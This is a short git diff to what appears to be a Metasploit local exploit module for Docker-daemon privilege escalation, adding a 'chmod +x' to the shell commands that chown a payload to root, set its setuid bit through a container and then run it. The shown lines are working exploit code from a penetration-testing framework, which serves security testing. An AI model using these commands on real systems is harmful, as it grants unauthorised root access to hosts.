diff --git a/modules/exploits/linux/local/docker_daemon_privilege_escalation.rb b/modules/exploits/linux/local/docker_daemon_privilege_escalation.rb
index 21ff14a0d1..59ed4e51f8 100644
--- a/modules/exploits/linux/local/docker_daemon_privilege_escalation.rb
+++ b/modules/exploits/linux/local/docker_daemon_privilege_escalation.rb
@@ -64,7 +64,7 @@ class MetasploitModule < Msf::Exploit::Local
 
     %Q{
       IMG=`(echo "FROM scratch"; echo "CMD a") | docker build -q - | awk "END { print \\\\$NF }"`
-      EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}"
+      EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}; chmod +x #{exploit_path}"
       docker run #{dep_options} $IMG /bin/sh -c "$EXPLOIT"
       docker rmi -f $IMG
       #{exploit_path}